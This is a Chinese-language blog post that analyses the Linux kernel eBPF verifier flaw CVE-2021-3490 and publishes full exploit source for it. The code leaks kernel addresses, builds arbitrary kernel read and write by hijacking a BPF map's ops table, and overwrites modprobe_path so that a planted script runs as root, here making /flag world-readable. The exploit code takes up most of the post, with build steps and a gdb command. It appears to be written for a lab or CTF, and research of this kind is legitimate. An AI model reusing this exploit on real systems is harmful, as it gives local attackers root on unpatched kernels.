CVE-2021-3490


环境搭建

defconfig

menuconfig设置slab:

CONFIG_BPF_SYSCALL=y
CONFIG_BPFILTER=y
CONFIG_NET_CLS_BPF=y
CONFIG_NET_ACT_BPF=y
CONFIG_BPF_JIT=y
CONFIG_TEST_BPF=y

CONFIG_DEBUG_INFO #调试符号
CONFIG_USER_NS=y #支持新的namespace

遇到报错:

解决:

root权限编译;

make  CFLAGS_KERNEL="-g" CFLAGS_MODULE="-g" -j4

漏洞成因

https://elixir.bootlin.com/linux/v5.10/source/kernel/bpf/verifier.c#L5871

就是在32位运算之后如果认为两个32位寄存器都是已知的就直接return,并没有更新寄存器的边界值;

地址泄露

https://www.cnblogs.com/bsauce/p/14123111.html

struct bpf_insn prog[] = {

//......

BPF_LD_MAP_FD(BPF_REG_1, 4),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -16),
BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), //第一个参数是fd,第二个参数是&key,第三个参数 是&value
/* if success, r0 will be ptr to value, 0 for failed */
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), //加载地址到reg8
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_7,0), //越界读数据
BPF_STX_MEM(BPF_DW,BPF_REG_8,BPF_REG_0,0x0), //将读出来的数据存放到r8

BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0XC0),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_7,0),
BPF_STX_MEM(BPF_DW,BPF_REG_8,BPF_REG_0,0x8),


BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

};

static __always_inline int
bpf_map_get_elem(int map_fd, const void *key, void *value)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};

// 使用 BPF_MAP_LOOKUP_ELEM 获取 map 中的元素
return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

int main(){

//......

char s[0x1000];
int wl = write(sockets[0], s, 0x100); //触发eBPF代码的执行
printf("wl == %d\n", wl);

size_t key = 0;
size_t value[0x1000];
bpf_map_get_elem(expmap_fd, &key, value); //从map中获取之前存放的数据
printf("leak : %p\n", (void *)value[0]);
printf("map : %p\n", (void *)value[1]);

ker_offset = value[0] - 0xffffffff82019020;
printf("ker_offset == %p\n", (void *)ker_offset);
}

任意地址读

任意地址写

利用漏洞中的btf_array中任意偏移写:

  1. 劫持map->ops到我们能控制的array空间中;
  2. 在array中部署函数指针;map_push_elem(偏移14*8) = array_map_get_next_key
  3. spin_lock_off = 0 //0x2c,4字节
  4. max_entries = 0xffff ffff //0x24, 4字节
  5. map_type = BPF_MAP_TYPE_STACK // 0x18, 4字节
  6. 调用bpf_update_elem(mapfd, &key, &value, flags) 会查ops试图调用int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);,但是控制流被劫持到array_map_get_next_key(struct bpf_map *map, void *key, void *next_key),最后达到的效果是 *flags = value[0]+1;

动态调试

gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/kernel/3490/vmlinux" -ex "c"

攻击成功

EXP

exp.c

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <linux/keyctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_shell(){
printf("now pid == %p\n", getpid());
system("/bin/sh");
}

//CPU绑核
void bindCore(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

size_t page_offset_base;

#include <linux/bpf.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include "bpf_insn.h"

static inline int bpf(int cmd, union bpf_attr *attr)
{
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}

struct bpf_insn prog[] = {
BPF_LD_MAP_FD(BPF_REG_1, 3),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),
BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), //第一个参数是fd,第二个参数是&key,第三个参数 是&value
/* if success, r0 will be ptr to value, 0 for failed */
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
/* load value into r6, make it part-unknown */
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),

BPF_MOV64_IMM(BPF_REG_4, 0xffffffff),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_4, 32),
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_4),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1),
/* r3 = 0x100000002 */
BPF_MOV64_IMM(BPF_REG_3, 3),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 0x6),
/* triger the vulnerability */
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_3),

BPF_JMP32_IMM(BPF_JLE, BPF_REG_7, 1, 2), //通过无符号跳转构造[0,1]寄存器r7
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_7), //两寄存器相加,边界值相加,reg6运行时为0,确信为1
BPF_MOV64_IMM(BPF_REG_3, 0),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32), //直接赋值总会是32位,所以要通过左移指令扩展成64位
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 1), //构造reg3为value=1的64位已知寄存器
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_3), //使r2的高32位变成已知,r2此时运行时为0,确信为1
BPF_ALU64_REG(BPF_XOR, BPF_REG_6, BPF_REG_3), //r2此时运行时为1,确信为0

BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0X110),
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),

BPF_LD_MAP_FD(BPF_REG_1, 4),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -16),
BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), //第一个参数是fd,第二个参数是&key,第三个参数 是&value
/* if success, r0 will be ptr to value, 0 for failed */
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), //r8 -> expmap->array[0]
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_7,0),
BPF_STX_MEM(BPF_DW,BPF_REG_8,BPF_REG_0,0x0),

BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0XC0),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_7,0),
BPF_STX_MEM(BPF_DW,BPF_REG_8,BPF_REG_0,0x8),

//BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, 0XC0),
//BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0X40), //map->brf
//BPF_MOV64_IMM(BPF_REG_0, 0x12345678),
//BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0x0),

BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x10), //R8 -> expmap->array+0x10
BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, 0X0),
BPF_JMP_IMM(BPF_JNE, BPF_REG_4, 0x0, 1), //将0x12345678作为进行任意地址写的信号

BPF_EXIT_INSN(),

BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, 0XC0), //R7 -> map->btf
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x8), //R8 -> expmap->array+0x18 读value[3]
BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, 0X0),//R4是目标的地址,也就是map+0x110,我们在这里部署fake_ops
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_4, 0),//篡改ops

BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0X110), //R7 -> map->array / fake_ops
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 14*8), //push_elem
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x8), //R8 -> expmap->array+0x20 读value[4]
BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, 0X0),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_4, 0),//填充1

BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, 0X110+14*8),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x18),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x8), //R8 -> expmap->array+0x28 读value[5]
BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, 0X0),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_4, 0),//map_type = BPF_MAP_TYPE_STACK

BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, 0x18),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x20),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x8), //R8 -> expmap->array+0x30 读value[6]
BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, 0X0),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_4, 0),//max_entries = 0xffff ffff

BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x8), //0x28
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x8), //R8 -> expmap->array+0x30 读value[6]
BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, 0X0),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_4, 0),//spin_lock_off = 0

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

};


#define BPF_LOG_SZ 0x20000
char bpf_log_buf[BPF_LOG_SZ] = { '\0' };

int sockets[2];
int map_fd1;
int map_fd2;
int prog_fd;
uint32_t key;
uint64_t* value1;
uint64_t* value2;



union bpf_attr attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insns = (uint64_t) &prog,
.insn_cnt = sizeof(prog) / sizeof(prog[0]),
.license = (uint64_t) "GPL",
.log_level = 2,
.log_buf = (uint64_t) bpf_log_buf,
.log_size = BPF_LOG_SZ,
};

static __always_inline int
bpf_map_create(unsigned int map_type, unsigned int key_size,
unsigned int value_size, unsigned int max_entries)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
};
return bpf(BPF_MAP_CREATE, &attr);
}

static __always_inline int
bpf_map_get_elem(int map_fd, const void *key, void *value)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};

// 使用 BPF_MAP_LOOKUP_ELEM 获取 map 中的元素
return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

static __always_inline uint32_t
bpf_map_get_info_by_fd(int map_fd)
{
struct bpf_map_info info;
union bpf_attr attr = {
.info.bpf_fd = map_fd,
.info.info_len = sizeof(info),
.info.info = (uint64_t)&info,

};
bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
return info.btf_id;
}

static __always_inline int
bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}

size_t ker_offset;
char aar_bpf_log_buf[0x2000];

int af1, af2, as[2];
int aar_cmd[2];
int aar_reply[2];

size_t aar_init(void){

int aarfd1;
int aarfd2;
int aar_sockets[2];

aarfd1 = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
if (aarfd1 < 0) perror("BPF_MAP_CREATE");//, err_exit("BPF_MAP_CREATE");

aarfd2 = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
if (aarfd2 < 0) perror("BPF_MAP_CREATE");//, err_exit("BPF_MAP_CREATE");

printf("aarfd1 == %d, aarfd2 == %d\n", aarfd1, aarfd2);

struct bpf_insn aar_prog[] = {
BPF_LD_MAP_FD(BPF_REG_1, aarfd1),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),
BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), //第一个参数是fd,第二个参数是&key,第三个参数 是&value
/* if success, r0 will be ptr to value, 0 for failed */
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
/* load value into r6, make it part-unknown */
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),

BPF_MOV64_IMM(BPF_REG_4, 0xffffffff),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_4, 32),
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_4),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1),
/* r3 = 0x100000002 */
BPF_MOV64_IMM(BPF_REG_3, 3),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 0x6),
/* triger the vulnerability */
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_3),

BPF_JMP32_IMM(BPF_JLE, BPF_REG_7, 1, 2), //通过无符号跳转构造[0,1]寄存器r7
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_7), //两寄存器相加,边界值相加,reg6运行时为0,确信为1
BPF_MOV64_IMM(BPF_REG_3, 0),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32), //直接赋值总会是32位,所以要通过左移指令扩展成64位
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 1), //构造reg3为value=1的64位已知寄存器
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_3), //使r2的高32位变成已知,r2此时运行时为0,确信为1
BPF_ALU64_REG(BPF_XOR, BPF_REG_6, BPF_REG_3), //r2此时运行时为1,确信为0

BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0X110),
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),

BPF_LD_MAP_FD(BPF_REG_1, aarfd2),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -16),
BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), //第一个参数是fd,第二个参数是&key,第三个参数 是&value
/* if success, r0 will be ptr to value, 0 for failed */
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0X40), //map->brf
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0),
BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0x0),

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};

union bpf_attr aar_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insns = (uint64_t) &aar_prog,
.insn_cnt = sizeof(aar_prog) / sizeof(aar_prog[0]),
.license = (uint64_t) "GPL",
.log_level = 2,
.log_buf = (uint64_t) aar_bpf_log_buf,
.log_size = BPF_LOG_SZ,
};

int aar_prog_fd = bpf(BPF_PROG_LOAD, &aar_attr);
if (aar_prog_fd < 0) {
//puts(aar_bpf_log_buf);
perror("BPF_PROG_LOAD");
return -1;
}
//puts(aar_bpf_log_buf);

if (socketpair(AF_UNIX, SOCK_DGRAM, 0, aar_sockets) < 0)
perror("socketpair()");
if (setsockopt(aar_sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &aar_prog_fd, sizeof(aar_prog_fd)) < 0)
perror("socketpair SO_ATTACH_BPF");

size_t addr;
size_t key = 0;
size_t value[0x100];
while(1){
read(9, &addr, 8);
//printf("aar addr == %p\n", (void *)addr);
value[0] = addr-0x58;
bpf_map_update_elem(aarfd2, &key, value, BPF_ANY);
char con[0x1000];
int wl = write(aar_sockets[0], con, 0x100);
size_t res1 = bpf_map_get_info_by_fd(aarfd1);
value[0] = addr-0x58+4;
bpf_map_update_elem(aarfd2, &key, value, BPF_ANY);
wl = write(aar_sockets[0], con, 0x100);
size_t res2 = bpf_map_get_info_by_fd(aarfd1);
size_t ans = (res2 << 32) | res1;
//printf("ans == %p\n", (void *)ans);
write(12, &ans, 8);

}


}


int create_bpf_array_of_map(int fd, int key_size, int value_size, int max_entries) {
union bpf_attr attr = {
.map_type = BPF_MAP_TYPE_ARRAY_OF_MAPS,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
// .map_flags = BPF_F_MMAPABLE,
.inner_map_fd = fd,
};

int map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
if (map_fd < 0) {
return -1;
}
return map_fd;
}

size_t aar(size_t addr){
size_t ans;
write(10, &addr, 8);
read(11, &ans, 8);
//printf("main_ans == %p\n", (void *)ans);
return ans;
}




void aaw(int map_fd, size_t addr, size_t val){
size_t key = 0;
size_t value[0x1000];
size_t val1 = val & 0xffffffff;
val1--;
size_t val2 = val >> 32;
val2--;
value[0] = val1;
bpf_map_update_elem(map_fd, &key, value, addr);
value[0] = val2;
bpf_map_update_elem(map_fd, &key, value, addr+4);

}

int main(){

save_status();
bindCore(0);

int map_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
if (map_fd < 0) perror("BPF_MAP_CREATE");//, err_exit("BPF_MAP_CREATE");

int expmap_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
if (expmap_fd < 0) perror("BPF_MAP_CREATE");//, err_exit("BPF_MAP_CREATE");

prog_fd = bpf(BPF_PROG_LOAD, &attr);
if (prog_fd < 0) {
//puts(bpf_log_buf);
perror("BPF_PROG_LOAD");
return -1;
}
//puts(bpf_log_buf);
printf("prog_fd == %d\n", prog_fd);

if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0)
perror("socketpair()");

if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0)
perror("socketpair SO_ATTACH_BPF");


char s[0x1000];
int wl = write(sockets[0], s, 0x100);
printf("wl == %d\n", wl);

size_t key = 0;
size_t value[0x1000];
bpf_map_get_elem(expmap_fd, &key, value);
printf("leak : %p\n", (void *)value[0]);
printf("map_wait_list : %p\n", (void *)value[1]);

size_t map_wait_list = value[1];
size_t map = map_wait_list - 0xc0;

ker_offset = value[0] - 0xffffffff82019020;
printf("ker_offset == %p\n", (void *)ker_offset);
page_offset_base = map & 0xfffffffff0000000;
printf("page_offset_base == %p\n", (void *)page_offset_base);

int array_map_fd = create_bpf_array_of_map(map_fd, 4, 4, 1);
printf("array_map_fd == %d\n", array_map_fd);
key = 0;
bpf_map_update_elem(array_map_fd, &key, &map_fd, BPF_ANY);

if(pipe(aar_cmd) < 0){
perror("pipe");
return -1;
}
//printf("pipe :%d\n", aar_cmd[0]);
if(pipe(aar_reply) < 0){
perror("pipe");
return -1;
}
if(!fork()){
aar_init();
}


size_t array_map_get_next_key = ker_offset + 0xffffffff81179e20;

key = 0;
memset(value, 0, sizeof(value));
value[2] = 0x12345678;
value[3] = map + 0x110;
value[4] = array_map_get_next_key;
value[5] = BPF_MAP_TYPE_STACK + 0x400000000;
value[6] = 0xffffffff00002000;
value[7] = 0LL;


int ret = bpf_map_update_elem(expmap_fd, &key, value, BPF_ANY);
if(ret < 0){
perror("update elem");
}


write(sockets[0], s, 0x100);
//printf("map == %p\n", (void *)map);

//value[0] = 0x12345678;
//ret = bpf_map_update_elem(map_fd, &key, value, page_offset_base);
//printf("ret == %d\n", ret);

aaw(map_fd, map+0x200, 0x1111222233334444);
size_t modprobe_path = ker_offset + 0xffffffff8244ce40;
char path[] = "/tmp/a\x00\x00";
size_t val;
memcpy(&val, path, 8);
aaw(map_fd, modprobe_path, val);

system("touch /tmp/error");
int ef = open("/tmp/error", 2);
write(ef, "\xff\xff\xff\xff", 4);
close(ef);
system("chmod +x /tmp/error");

char shellcode[] = "#!/bin/sh\nchmod 777 /flag\n\x00";
system("touch /tmp/a");
int af = open("/tmp/a", 2);
write(af, shellcode, strlen(shellcode));
close(af);
system("chmod +x /tmp/a");
system("/tmp/error");
int f = open("/flag", 0);
char flag[0x100];
read(f, flag, 0x100);
puts(flag);


}



bpf_insn.h

/* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause) */
/* eBPF instruction mini library */
#ifndef __BPF_INSN_H
#define __BPF_INSN_H

struct bpf_insn;

/* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */

#define BPF_ALU64_REG(OP, DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })

#define BPF_ALU32_REG(OP, DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })

/* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */

#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })

#define BPF_ALU32_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })

/* Short form of mov, dst_reg = src_reg */

#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })

#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })

/* Short form of mov, dst_reg = imm32 */

#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })

#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })

/* BPF_LD_IMM64 macro encodes single 'load 64-bit immediate' insn */
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)

#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, /* zero is reserved opcode */ \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })

#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD 1
#endif

/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)


/* Direct packet access, R0 = *(uint *) (skb->data + imm32) */

#define BPF_LD_ABS(SIZE, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })

/* Memory load, dst_reg = *(uint *) (src_reg + off16) */

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })

/* Memory store, *(uint *) (dst_reg + off16) = src_reg */

#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })

/*
* Atomic operations:
*
* BPF_ADD *(uint *) (dst_reg + off16) += src_reg
* BPF_AND *(uint *) (dst_reg + off16) &= src_reg
* BPF_OR *(uint *) (dst_reg + off16) |= src_reg
* BPF_XOR *(uint *) (dst_reg + off16) ^= src_reg
* BPF_ADD | BPF_FETCH src_reg = atomic_fetch_add(dst_reg + off16, src_reg);
* BPF_AND | BPF_FETCH src_reg = atomic_fetch_and(dst_reg + off16, src_reg);
* BPF_OR | BPF_FETCH src_reg = atomic_fetch_or(dst_reg + off16, src_reg);
* BPF_XOR | BPF_FETCH src_reg = atomic_fetch_xor(dst_reg + off16, src_reg);
* BPF_XCHG src_reg = atomic_xchg(dst_reg + off16, src_reg)
* BPF_CMPXCHG r0 = atomic_cmpxchg(dst_reg + off16, r0, src_reg)
*/

#define BPF_ATOMIC_OP(SIZE, OP, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_ATOMIC, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = OP })

/* Legacy alias */
#define BPF_STX_XADD(SIZE, DST, SRC, OFF) BPF_ATOMIC_OP(SIZE, BPF_ADD, DST, SRC, OFF)

/* Memory store, *(uint *) (dst_reg + off16) = imm32 */

#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })

/* Conditional jumps against registers, if (dst_reg 'op' src_reg) goto pc + off16 */

#define BPF_JMP_REG(OP, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })

/* Like BPF_JMP_REG, but with 32-bit wide operands for comparison. */

#define BPF_JMP32_REG(OP, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP32 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })

/* Conditional jumps against immediates, if (dst_reg 'op' imm32) goto pc + off16 */

#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })

/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */

#define BPF_JMP32_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })

/* Raw code statement block */

#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn) { \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM })

/* Program exit */

#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })

#endif

参考

https://www.cnblogs.com/bsauce/p/14123111.html


文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录